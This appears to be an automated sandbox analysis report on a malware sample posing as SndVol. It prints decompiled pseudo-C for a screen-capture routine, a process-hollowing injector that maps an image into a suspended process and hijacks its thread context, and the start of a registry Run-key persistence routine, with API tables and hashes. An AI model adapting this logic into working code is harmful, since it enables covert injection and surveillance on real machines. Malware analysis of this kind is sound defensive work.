                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: FeaturePresentProcessor
                                    • String ID:
                                    • API String ID: 2325560087-0
                                    • Opcode ID: 1fb662f9d5325c0f23c7812fc6a7f30a555445cc8dd25cbbcf572d2ad0998a78
                                    • Instruction ID: 9577bd9de5a393dbe59ad6cf97ad93a58317c78651b0e2ff19642687a0d642b1
                                    • Opcode Fuzzy Hash: 1fb662f9d5325c0f23c7812fc6a7f30a555445cc8dd25cbbcf572d2ad0998a78
                                    • Instruction Fuzzy Hash: 0F518071D012099BEB24CFA9D88579EBBF4FB48314F25906BD419E7360D378A940CF98
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044FA9E Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0044FA9E() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x472a5c = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}




                                    0x0044fa9e
                                    0x0044faa6
                                    0x0044faae

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: HeapProcess
                                    • String ID:
                                    • API String ID: 54951025-0
                                    • Opcode ID: 53fe565ab6d979509c6e567c1bc4287925e93114ba9cccf385d2959bc0dfd0c1
                                    • Instruction ID: a36b04a886e7d418bd2d17bcf174589792a261d434d875a069037d791691f268
                                    • Opcode Fuzzy Hash: 53fe565ab6d979509c6e567c1bc4287925e93114ba9cccf385d2959bc0dfd0c1
                                    • Instruction Fuzzy Hash: 8BA01130200202CB8B008F33AA0820A3AAAAB00AA2300C038A00AC02A0EA2088808F28
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00418DC8 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 85%
                                    			E00418DC8(void* __ecx, signed int __edx, void* __eflags) {
				signed int _v16;
				char* _v72;
				char _v76;
				char* _v108;
				struct _ICONINFO _v132;
				signed int _v146;
				signed int _v148;
				char _v149;
				char _v152;
				signed int _v156;
				signed int _v160;
				void* _v164;
				struct HICON__* _v168;
				char _v172;
				int _v176;
				int _v180;
				int _v188;
				int _v196;
				intOrPtr _v224;
				void* _v228;
				int _v232;
				char _v233;
				char _v236;
				int _v240;
				intOrPtr _v242;
				void* _v244;
				intOrPtr _v246;
				char _v248;
				intOrPtr _v250;
				signed int _v252;
				char _v256;
				char _v260;
				struct HDC__* _v268;
				void* _v284;
				void* _v296;
				struct HDC__* _v308;
				void* __ebx;
				void* __ebp;
				int _t109;
				void* _t116;
				void* _t118;
				int _t123;
				void* _t124;
				signed char _t136;
				long _t142;
				void* _t143;
				struct HDC__* _t181;
				void* _t186;
				void* _t188;
				void* _t194;
				void* _t204;
				signed int _t223;
				signed int _t226;
				int _t227;
				void* _t228;
				struct HDC__* _t232;
				struct tagBITMAPINFO* _t234;
				void* _t235;
				int _t241;
				struct HDC__* _t243;

				_t225 = __edx;
				_v149 = __edx;
				_t194 = __ecx;
				_t232 = CreateDCA("DISPLAY", 0, 0, 0);
				_v160 = _t232;
				_t243 = CreateCompatibleDC(_t232);
				_t109 = E00419277(_v16);
				_v176 = _t109;
				_t227 = _t225;
				_v168 = _t227;
				if(_t109 == 0 || _t227 == 0) {
					_t109 = E004192B9( *((intOrPtr*)((_v16 << 4) + 0x472d98)));
					_t227 = _t225;
					_v176 = _t109;
					_v168 = _t227;
				}
				if(_t109 == 0 || _t227 == 0) {
					L8:
					E00402093(_t194, _t194, _t225, _t243, 0x4660a4);
					goto L9;
				} else {
					_t225 =  &_v160;
					_v160 = _v160 & 0x00000000;
					_v156 = _v156 & 0x00000000;
					E004192EF( *((intOrPtr*)((_v16 << 4) + 0x472d98)),  &_v160);
					_t228 = CreateCompatibleBitmap(_t232, _v176, _t227);
					_v164 = _t228;
					if(_t228 != 0) {
						_t116 = SelectObject(_t243, _t228);
						__eflags = _t116;
						if(_t116 != 0) {
							_t118 = StretchBlt(_t243, 0, 0, _v196, _v188, _t232, _v180, _v176, _v196, _v188, 0xcc0020);
							__eflags = _t118;
							if(_t118 == 0) {
								goto L11;
							}
							__eflags = _v233;
							if(_v233 != 0) {
								_v172 = 0x14;
								_t186 =  *0x475794( &_v172);
								__eflags = _t186;
								if(_t186 != 0) {
									_t188 = GetIconInfo(_v168,  &_v132);
									__eflags = _t188;
									if(_t188 != 0) {
										_t241 = _v160 - _v132.yHotspot - _v224;
										__eflags = _t241;
										DeleteObject(_v132.hbmColor);
										DeleteObject(_v132.yHotspot);
										DrawIcon(_t243, _v164 - _v132.xHotspot - _v228, _t241, _v176);
										_t228 = _v228;
										_t232 = _v240;
									}
								}
							}
							__eflags = _v76;
							if(_v76 != 0) {
								_t181 =  *0x473198;
								__eflags = _t181;
								if(_t181 == 0) {
									 *0x473198 = _t243;
									 *_v72 = 1;
								} else {
									BitBlt(_t243, 0, 0, _v240, _v232, _t181, 0, 0, 0x660046);
									 *_v108 = 0;
								}
							}
							_push( &_v152);
							_t123 = 0x18;
							_t124 = GetObjectA(_t228, _t123, ??);
							__eflags = _t124;
							if(_t124 == 0) {
								goto L11;
							} else {
								_t226 = _v146 * _v148 & 0x0000ffff;
								__eflags = _t226 - 1;
								if(_t226 != 1) {
									_push(4);
									_pop(1);
									_v252 = 1;
									__eflags = _t226 - 1;
									if(_t226 <= 1) {
										L32:
										__eflags = 1 << 1;
										_push(0x2eb6edc);
										L33:
										_t234 = LocalAlloc(0x40, ??);
										_t204 = 0x18;
										_t234->bmiHeader = 0x28;
										_t234->bmiHeader.biWidth = _v160;
										_t234->bmiHeader.biHeight = _v156;
										_t234->bmiHeader.biPlanes = _v148;
										_t234->bmiHeader.biBitCount = _v146;
										_t136 = _v252;
										__eflags = _t136 - _t204;
										if(_t136 < _t204) {
											__eflags = 1;
											_t234->bmiHeader.biClrUsed = 1 << _t136;
										}
										_t234->bmiHeader.biCompression = _t234->bmiHeader.biCompression & 0x00000000;
										_t234->bmiHeader.biClrImportant = _t234->bmiHeader.biClrImportant & 0x00000000;
										asm("cdq");
										_t225 = _t226 & 0x00000007;
										_t142 = (_t234->bmiHeader.biWidth + 7 + (_t226 & 0x00000007) >> 3) * (_v252 & 0x0000ffff) * _t234->bmiHeader.biHeight;
										_t234->bmiHeader.biSizeImage = _t142;
										_t143 = GlobalAlloc(0, _t142);
										_v244 = _t143;
										__eflags = _t143;
										if(_t143 != 0) {
											__eflags = GetDIBits(_t243, _t228, 0, _t234->bmiHeader.biHeight & 0x0000ffff, _t143, _t234, 0);
											if(__eflags != 0) {
												_v252 = 0x4d42;
												_v250 = _t234->bmiHeader.biSizeImage + _t234->bmiHeader + _t234->bmiHeader.biClrUsed * 4 + 0xe;
												_v246 = 0;
												_v242 = _t234->bmiHeader + _t234->bmiHeader.biClrUsed * 4 + 0xe;
												E004020DF(_t194,  &_v236);
												E004020DF(_t194,  &_v148);
												E0040250A(_t194,  &_v236, _t225, __eflags,  &_v252, 0xe);
												L00403376( &_v244);
												E0040250A(_t194,  &_v248, _t225, __eflags, _t234, 0x28);
												L00403376( &_v256);
												_t235 = _v296;
												E0040250A(_t194,  &_v260, _t225, __eflags, _t235, _t234->bmiHeader.biSizeImage);
												L00403376( &_v268);
												DeleteObject(_t228);
												GlobalFree(_t235);
												DeleteDC(_v308);
												__eflags = _t243 -  *0x473198;
												if(__eflags != 0) {
													DeleteDC(_t243);
												}
												E00402055(_t194, _t194, _t243, __eflags,  &_v156);
												E00401FD8();
												E00401FD8();
												L9:
												return _t194;
											}
											DeleteDC(_v268);
											DeleteDC(_t243);
											DeleteObject(_t228);
											GlobalFree(_v284);
											goto L8;
										} else {
											DeleteDC(_v240);
											L12:
											DeleteDC(_t243);
											DeleteObject(_t228);
											goto L7;
										}
									}
									_push(8);
									_pop(1);
									_v252 = 1;
									__eflags = _t226 - 1;
									if(_t226 <= 1) {
										goto L32;
									}
									_push(0x10);
									_pop(1);
									_v252 = 1;
									__eflags = _t226 - 1;
									if(_t226 <= 1) {
										goto L32;
									}
									_t223 = 0x18;
									__eflags = _t226 - _t223;
									if(_t226 > _t223) {
										_push(0x20);
										_pop(1);
										L31:
										_v252 = 1;
										goto L32;
									}
									_v252 = _t223;
									_push(0x28);
									goto L33;
								}
								goto L31;
							}
						}
						L11:
						DeleteDC(_t232);
						goto L12;
					} else {
						DeleteDC(_t232);
						DeleteDC(_t243);
						DeleteObject(_t228);
						L7:
						goto L8;
					}
				}
			}































































                                    0x00418dc8
                                    0x00418dd4
                                    0x00418de0
                                    0x00418de8
                                    0x00418deb
                                    0x00418dfc
                                    0x00418dfe
                                    0x00418e03
                                    0x00418e07
                                    0x00418e09
                                    0x00418e0f
                                    0x00418e25
                                    0x00418e2a
                                    0x00418e2c
                                    0x00418e30
                                    0x00418e30
                                    0x00418e36
                                    0x00418e88
                                    0x00418e8f
                                    0x00000000
                                    0x00418e3c
                                    0x00418e43
                                    0x00418e47
                                    0x00418e4c
                                    0x00418e5a
                                    0x00418e6b
                                    0x00418e6d
                                    0x00418e73
                                    0x00418ea3
                                    0x00418ea9
                                    0x00418eab
                                    0x00418edb
                                    0x00418ee1
                                    0x00418ee3
                                    0x00000000
                                    0x00000000
                                    0x00418ee5
                                    0x00418eea
                                    0x00418ef0
                                    0x00418ef9
                                    0x00418eff
                                    0x00418f01
                                    0x00418f0f
                                    0x00418f15
                                    0x00418f17
                                    0x00418f3a
                                    0x00418f3a
                                    0x00418f3e
                                    0x00418f4b
                                    0x00418f58
                                    0x00418f5e
                                    0x00418f62
                                    0x00418f62
                                    0x00418f17
                                    0x00418f01
                                    0x00418f66
                                    0x00418f6e
                                    0x00418f70
                                    0x00418f75
                                    0x00418f77
                                    0x00418fa7
                                    0x00418fad
                                    0x00418f79
                                    0x00418f8e
                                    0x00418f9b
                                    0x00418f9b
                                    0x00418f77
                                    0x00418fb4
                                    0x00418fb7
                                    0x00418fba
                                    0x00418fc0
                                    0x00418fc2
                                    0x00000000
                                    0x00418fc8
                                    0x00418fd1
                                    0x00418fd7
                                    0x00418fda
                                    0x00418fe0
                                    0x00418fe2
                                    0x00418fe3
                                    0x00418fe7
                                    0x00418fea
                                    0x0041901b
                                    0x0041901b
                                    0x00419024
                                    0x00419025
                                    0x0041902d
                                    0x00419031
                                    0x00419032
                                    0x0041903c
                                    0x00419043
                                    0x0041904b
                                    0x00419054
                                    0x00419058
                                    0x0041905c
                                    0x0041905f
                                    0x00419066
                                    0x00419068
                                    0x00419068
                                    0x00419075
                                    0x00419079
                                    0x0041907d
                                    0x0041907e
                                    0x0041908c
                                    0x00419093
                                    0x00419096
                                    0x0041909c
                                    0x004190a0
                                    0x004190a2
                                    0x004190c0
                                    0x004190c2
                                    0x004190ef
                                    0x00419104
                                    0x0041910a
                                    0x0041911d
                                    0x00419121
                                    0x0041912d
                                    0x0041913d
                                    0x0041914e
                                    0x0041915a
                                    0x0041916b
                                    0x00419173
                                    0x0041917c
                                    0x0041918d
                                    0x00419193
                                    0x0041919a
                                    0x004191aa
                                    0x004191ac
                                    0x004191b2
                                    0x004191b5
                                    0x004191b5
                                    0x004191c1
                                    0x004191cd
                                    0x004191d6
                                    0x00418e97
                                    0x00418ea0
                                    0x00418ea0
                                    0x004190ce
                                    0x004190d1
                                    0x004190d4
                                    0x004190df
                                    0x00000000
                                    0x004190a4
                                    0x00418eb4
                                    0x00418eae
                                    0x00418eb7
                                    0x00418e82
                                    0x00000000
                                    0x00418e82
                                    0x004190a2
                                    0x00418fec
                                    0x00418fee
                                    0x00418fef
                                    0x00418ff3
                                    0x00418ff6
                                    0x00000000
                                    0x00000000
                                    0x00418ff8
                                    0x00418ffa
                                    0x00418ffb
                                    0x00418fff
                                    0x00419002
                                    0x00000000
                                    0x00000000
                                    0x00419006
                                    0x00419007
                                    0x0041900a
                                    0x00419014
                                    0x00419016
                                    0x00419017
                                    0x00419017
                                    0x00000000
                                    0x00419017
                                    0x0041900c
                                    0x00419010
                                    0x00000000
                                    0x00419010
                                    0x00000000
                                    0x00418fdc
                                    0x00418fc2
                                    0x00418ead
                                    0x00418eb4
                                    0x00000000
                                    0x00418e75
                                    0x00418e7c
                                    0x00418e7f
                                    0x00418e82
                                    0x00418e82
                                    0x00000000
                                    0x00418e82
                                    0x00418e73

                                    APIs
                                    • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418DE2
                                    • CreateCompatibleDC.GDI32(00000000), ref: 00418DEF
                                      • Part of subcall function 00419277: EnumDisplaySettingsW.USER32 ref: 004192A7
                                    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418E65
                                    • DeleteDC.GDI32(00000000), ref: 00418E7C
                                    • DeleteDC.GDI32(00000000), ref: 00418E7F
                                    • DeleteObject.GDI32(00000000), ref: 00418E82
                                    • SelectObject.GDI32(00000000,00000000), ref: 00418EA3
                                    • DeleteDC.GDI32(00000000), ref: 00418EB4
                                    • DeleteDC.GDI32(00000000), ref: 00418EB7
                                    • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418EDB
                                    • GetIconInfo.USER32(?,?), ref: 00418F0F
                                    • DeleteObject.GDI32(?), ref: 00418F3E
                                    • DeleteObject.GDI32(?), ref: 00418F4B
                                    • DrawIcon.USER32 ref: 00418F58
                                    • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 00418F8E
                                    • GetObjectA.GDI32(00000000,00000018,?), ref: 00418FBA
                                    • LocalAlloc.KERNEL32(00000040,00000001), ref: 00419027
                                    • GlobalAlloc.KERNEL32(00000000,?), ref: 00419096
                                    • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004190BA
                                    • DeleteDC.GDI32(?), ref: 004190CE
                                    • DeleteDC.GDI32(00000000), ref: 004190D1
                                    • DeleteObject.GDI32(00000000), ref: 004190D4
                                    • GlobalFree.KERNEL32 ref: 004190DF
                                    • DeleteObject.GDI32(00000000), ref: 00419193
                                    • GlobalFree.KERNEL32 ref: 0041919A
                                    • DeleteDC.GDI32(?), ref: 004191AA
                                    • DeleteDC.GDI32(00000000), ref: 004191B5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                                    • String ID: DISPLAY
                                    • API String ID: 479521175-865373369
                                    • Opcode ID: f4c4a709432231f11fac261458573d83a4a145b6c97f580b282a106f41e8bff2
                                    • Instruction ID: 989277dc9070c30544b765f21bd865b1e8127c0fee538233cb58cd58f24a2f3d
                                    • Opcode Fuzzy Hash: f4c4a709432231f11fac261458573d83a4a145b6c97f580b282a106f41e8bff2
                                    • Instruction Fuzzy Hash: D7C14A71108301AFD7249F25DC44BABBBE9EF88715F04482EF98993291DB34ED45CB6A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00418041 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 57%
                                    			E00418041(intOrPtr __ecx, void __edx) {
				void* __edi;
				_Unknown_base(*)()* _t81;
				int _t87;
				signed int _t110;
				int _t117;
				intOrPtr _t119;
				int _t122;
				long _t123;
				int _t128;
				void _t141;
				void* _t145;
				intOrPtr _t146;
				intOrPtr _t148;
				intOrPtr _t154;
				struct _PROCESS_INFORMATION* _t157;
				void _t158;
				intOrPtr _t160;
				intOrPtr* _t162;
				intOrPtr* _t164;
				int _t166;
				void* _t167;
				void* _t168;

				_t164 = __edx;
				_t157 =  *(_t167 + 0x94);
				 *(_t167 + 0x34) = __edx;
				 *((intOrPtr*)(_t167 + 0x30)) = __ecx;
				 *((intOrPtr*)(_t167 + 0x1c)) = 0;
				while(1) {
					 *(_t167 + 0x34) = 0;
					 *(_t167 + 0x18) = 0;
					 *((intOrPtr*)(_t167 + 0x1c)) = 0;
					 *((intOrPtr*)(_t167 + 0x20)) = 0;
					 *0x472d90 = GetProcAddress(GetModuleHandleA("ntdll"), "ZwCreateSection");
					 *0x472d84 = GetProcAddress(GetModuleHandleA("ntdll"), "ZwMapViewOfSection");
					 *0x472d88 = GetProcAddress(GetModuleHandleA("ntdll"), "ZwUnmapViewOfSection");
					_t81 = GetProcAddress(GetModuleHandleA("ntdll"), "ZwClose");
					 *0x472d8c = _t81;
					if( *0x472d84 == 0 ||  *0x472d88 == 0 ||  *0x472d90 == 0 || _t81 == 0) {
						break;
					}
					_t160 = 0x44;
					E00436DE0(_t157, _t167 + 0x4c, 0, _t160);
					_t168 = _t167 + 0xc;
					 *((intOrPtr*)(_t168 + 0x48)) = _t160;
					E00436DE0(_t157, _t157, 0, 0x10);
					_t167 = _t168 + 0xc;
					if( *_t164 != 0x5a4d) {
						break;
					}
					_t162 =  *((intOrPtr*)(_t164 + 0x3c)) + _t164;
					if( *_t162 != 0x4550) {
						break;
					}
					_t87 =  *(_t162 + 0x50);
					 *(_t167 + 0x24) = _t87;
					 *(_t167 + 0x44) = _t87;
					 *((intOrPtr*)(_t167 + 0x48)) = 0;
					 *((intOrPtr*)(_t167 + 0x2c)) =  *((intOrPtr*)(_t162 + 0x34));
					if(CreateProcessW(0,  *(_t167 + 0x50), 0, 0, 0, 4, 0, 0, _t167 + 0x4c, _t157) == 0) {
						GetLastError();
						break;
					}
					_t145 = VirtualAlloc(0, 4, 0x1000, 4);
					 *(_t167 + 0x3c) = _t145;
					 *_t145 = 0x10007;
					if(GetThreadContext(_t157->hThread, _t145) == 0 || ReadProcessMemory(_t157->hProcess,  *((intOrPtr*)(_t145 + 0xa4)) + 8, _t167 + 0x34, 4, _t167 + 0x3c) == 0) {
						L32:
						VirtualFree(_t145, 0, 0x8000);
						 *0x472d88(GetCurrentProcess(), _t167 + 0x14);
						 *0x472d8c( *(_t167 + 0x18));
						TerminateProcess(_t157->hProcess, 0);
						break;
					} else {
						_push(0);
						_push(0x8000000);
						_push(0x40);
						_push(_t167 + 0x4c);
						_push(0);
						_push(0xf001f);
						_push(_t167 + 0x30);
						if( *0x472d90() != 0) {
							goto L32;
						}
						_t110 =  !( *(_t162 + 0x16) & 0x0000ffff) & 0x00000001;
						 *(_t167 + 0x24) = _t110;
						if(_t110 == 0) {
							_t141 =  *(_t167 + 0x28);
							 *(_t167 + 0x18) = _t141;
							 *0x472d88(_t157->hProcess, _t141);
						}
						_push(0x40);
						_push(0);
						_push(1);
						_push(_t167 + 0x24);
						_push(0);
						_push(0);
						_push(0);
						_push(_t167 + 0x2c);
						_push(_t157->hProcess);
						_push( *(_t167 + 0x3c));
						if( *0x472d84() == 0) {
							_t117 =  *0x472d84( *(_t167 + 0x3c), GetCurrentProcess(), _t167 + 0x30, 0, 0, 0, _t167 + 0x24, 1, 0, 0x40);
							__eflags = _t117;
							if(_t117 != 0) {
								goto L32;
							}
							__eflags =  *(_t167 + 0x24) - _t117;
							if( *(_t167 + 0x24) != _t117) {
								 *((intOrPtr*)(_t162 + 0x34)) =  *((intOrPtr*)(_t167 + 0x10));
							}
							E00436860( *((intOrPtr*)(_t167 + 0x1c)), _t164,  *((intOrPtr*)(_t162 + 0x54)));
							 *(_t167 + 0x3c) =  *(_t167 + 0x3c) & 0x00000000;
							_t119 =  *((intOrPtr*)(_t164 + 0x3c));
							_t167 = _t167 + 0xc;
							__eflags = 0 -  *(_t162 + 6);
							if(0 >=  *(_t162 + 6)) {
								L23:
								__eflags =  *(_t167 + 0x24);
								_t154 =  *((intOrPtr*)(_t167 + 0x10));
								if( *(_t167 + 0x24) != 0) {
									_t129 =  *(_t167 + 0x28);
									__eflags =  *(_t167 + 0x28) - _t154;
									if(__eflags != 0) {
										E00418455( *((intOrPtr*)(_t167 + 0x1c)), __eflags, _t129, 0, _t154, 0);
										_t154 =  *((intOrPtr*)(_t167 + 0x20));
										_t167 = _t167 + 0x10;
									}
								}
								__eflags =  *((intOrPtr*)(_t167 + 0x2c)) - _t154;
								if( *((intOrPtr*)(_t167 + 0x2c)) == _t154) {
									L29:
									 *((intOrPtr*)(_t145 + 0xb0)) =  *((intOrPtr*)(_t162 + 0x28)) + _t154;
									_t122 = SetThreadContext(_t157->hThread, _t145);
									__eflags = _t122;
									if(_t122 == 0) {
										goto L32;
									}
									_t123 = ResumeThread(_t157->hThread);
									__eflags = _t123 - 0xffffffff;
									if(_t123 == 0xffffffff) {
										goto L32;
									}
									return 1;
								} else {
									_t128 = WriteProcessMemory(_t157->hProcess,  *((intOrPtr*)(_t145 + 0xa4)) + 8, _t167 + 0x18, 4, 0);
									__eflags = _t128;
									if(_t128 == 0) {
										goto L32;
									}
									_t154 =  *((intOrPtr*)(_t167 + 0x10));
									goto L29;
								}
							} else {
								_t158 =  *(_t167 + 0x34);
								_t146 =  *((intOrPtr*)(_t167 + 0x30));
								_t166 = _t164 + 0x10c + _t119;
								__eflags = _t166;
								do {
									E00436860( *((intOrPtr*)(_t166 - 8)) +  *((intOrPtr*)(_t167 + 0x1c)),  *_t166 + _t158,  *((intOrPtr*)(_t166 - 4)));
									_t166 = _t166 + 0x28;
									_t167 = _t167 + 0xc;
									_t146 = _t146 + 1;
									__eflags = _t146 - ( *(_t162 + 6) & 0x0000ffff);
								} while (_t146 < ( *(_t162 + 6) & 0x0000ffff));
								_t157 =  *(_t167 + 0x94);
								_t145 =  *(_t167 + 0x38);
								goto L23;
							}
						} else {
							VirtualFree(_t145, 0, 0x8000);
							 *0x472d8c( *(_t167 + 0x18));
							TerminateProcess( *_t157, 0);
							_t148 =  *((intOrPtr*)(_t167 + 0x1c)) + 1;
							_push(0);
							 *((intOrPtr*)(_t167 + 0x20)) = _t148;
							_pop(0);
							if(_t148 <= 0x64) {
								continue;
							}
							break;
						}
					}
				}
				return 0;
			}

























                                    0x00418058
                                    0x0041805b
                                    0x00418062
                                    0x00418066
                                    0x0041806a
                                    0x0041806e
                                    0x00418078
                                    0x0041807c
                                    0x00418080
                                    0x00418084
                                    0x00418097
                                    0x004180ab
                                    0x004180bf
                                    0x004180c7
                                    0x004180d0
                                    0x004180d5
                                    0x00000000
                                    0x00000000
                                    0x004180ff
                                    0x00418109
                                    0x0041810e
                                    0x00418111
                                    0x00418119
                                    0x00418123
                                    0x0041812a
                                    0x00000000
                                    0x00000000
                                    0x00418133
                                    0x0041813b
                                    0x00000000
                                    0x00000000
                                    0x00418141
                                    0x00418145
                                    0x00418149
                                    0x0041814d
                                    0x00418154
                                    0x00418171
                                    0x004183cc
                                    0x00000000
                                    0x004183cc
                                    0x00418187
                                    0x0041818a
                                    0x0041818e
                                    0x0041819f
                                    0x00418396
                                    0x0041839e
                                    0x004183b0
                                    0x004183ba
                                    0x004183c4
                                    0x00000000
                                    0x004181cb
                                    0x004181cb
                                    0x004181cd
                                    0x004181d2
                                    0x004181d8
                                    0x004181d9
                                    0x004181db
                                    0x004181e4
                                    0x004181ed
                                    0x00000000
                                    0x00000000
                                    0x004181f9
                                    0x004181fc
                                    0x00418200
                                    0x00418202
                                    0x00418209
                                    0x0041820d
                                    0x0041820d
                                    0x00418213
                                    0x0041821b
                                    0x0041821c
                                    0x0041821e
                                    0x0041821f
                                    0x00418220
                                    0x00418221
                                    0x00418226
                                    0x00418227
                                    0x00418229
                                    0x00418235
                                    0x0041829e
                                    0x004182a4
                                    0x004182a6
                                    0x00000000
                                    0x00000000
                                    0x004182ac
                                    0x004182b0
                                    0x004182b6
                                    0x004182b6
                                    0x004182c1
                                    0x004182c6
                                    0x004182cd
                                    0x004182d0
                                    0x004182d3
                                    0x004182d7
                                    0x00418319
                                    0x00418319
                                    0x0041831e
                                    0x00418322
                                    0x00418324
                                    0x00418328
                                    0x0041832a
                                    0x00418336
                                    0x0041833b
                                    0x0041833f
                                    0x0041833f
                                    0x0041832a
                                    0x00418342
                                    0x00418346
                                    0x0041836b
                                    0x00418371
                                    0x0041837a
                                    0x00418380
                                    0x00418382
                                    0x00000000
                                    0x00000000
                                    0x00418387
                                    0x0041838d
                                    0x00418390
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00418348
                                    0x0041835d
                                    0x00418363
                                    0x00418365
                                    0x00000000
                                    0x00000000
                                    0x00418367
                                    0x00000000
                                    0x00418367
                                    0x004182d9
                                    0x004182d9
                                    0x004182e3
                                    0x004182e7
                                    0x004182e7
                                    0x004182e9
                                    0x004182fa
                                    0x00418303
                                    0x00418306
                                    0x00418309
                                    0x0041830a
                                    0x0041830a
                                    0x0041830e
                                    0x00418315
                                    0x00000000
                                    0x00418315
                                    0x00418237
                                    0x0041823f
                                    0x00418249
                                    0x00418253
                                    0x00418263
                                    0x00418264
                                    0x00418266
                                    0x00418273
                                    0x00418274
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0041827a
                                    0x00418235
                                    0x0041819f
                                    0x00000000

                                    APIs
                                    • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418088
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041808B
                                    • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041809C
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041809F
                                    • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 004180B0
                                    • GetProcAddress.KERNEL32(00000000), ref: 004180B3
                                    • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004180C4
                                    • GetProcAddress.KERNEL32(00000000), ref: 004180C7
                                    • CreateProcessW.KERNEL32 ref: 00418169
                                    • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00418181
                                    • GetThreadContext.KERNEL32(?,00000000), ref: 00418197
                                    • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 004181BD
                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041823F
                                    • TerminateProcess.KERNEL32(?,00000000), ref: 00418253
                                    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418293
                                    • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041835D
                                    • SetThreadContext.KERNEL32(?,00000000), ref: 0041837A
                                    • ResumeThread.KERNEL32(?), ref: 00418387
                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041839E
                                    • GetCurrentProcess.KERNEL32(?), ref: 004183A9
                                    • TerminateProcess.KERNEL32(?,00000000), ref: 004183C4
                                    • GetLastError.KERNEL32 ref: 004183CC
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                    • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                    • API String ID: 4188446516-3035715614
                                    • Opcode ID: f22189dff2aaccbecd6b2917690a3538d1638107370f13448ee842bbcfbfc803
                                    • Instruction ID: db9b1d86f7f1acadae93c68611e6a1394f58de7ad6b9ec5c6d4ba1d2db943a1c
                                    • Opcode Fuzzy Hash: f22189dff2aaccbecd6b2917690a3538d1638107370f13448ee842bbcfbfc803
                                    • Instruction Fuzzy Hash: B0A18D70604305EFD7208F64DD85BAB7BE8FB48705F04082EF659D6291EBB9E844CB19
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040D36E Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 98%
                                    			E0040D36E(void* __edx, void* _a4) {
				char _v0;
				short _v524;
				char _v548;
				void* _v560;
				char _v576;
				void* _v584;
				char _v596;
				char _v600;
				char _v612;
				char _v620;
				char _v624;
				char _v628;
				void* _v632;
				char _v644;
				char _v648;
				char _v652;
				void* _v656;
				char _v668;
				char _v672;
				char _v676;
				void* _v680;
				char _v692;
				void* _v696;
				char _v700;
				char _v704;
				char _v708;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t53;
				void* _t54;
				void* _t57;
				signed int _t61;
				void* _t62;
				void* _t67;
				void* _t78;
				void* _t79;
				void* _t92;
				void* _t93;
				signed char _t134;
				void* _t214;
				void* _t245;
				void* _t247;
				void* _t248;
				void* _t249;

				_t214 = __edx;
				E0041279E();
				if( *0x47513c != 0) {
					E0040B7FA(0x4750f0);
				}
				_t245 =  *0x472d63 - 1; // 0x0
				if(_t245 == 0) {
					E004199E6(_t214, _t245);
				}
				if( *0x472a85 != 0) {
					E0041C1E3(E00401F04(0x474d64), _t214);
				}
				_t231 = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
				_t247 =  *0x472b33 - 1; // 0x1
				if(_t247 == 0) {
					E00413971(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", E00401F04(0x4752c0));
				}
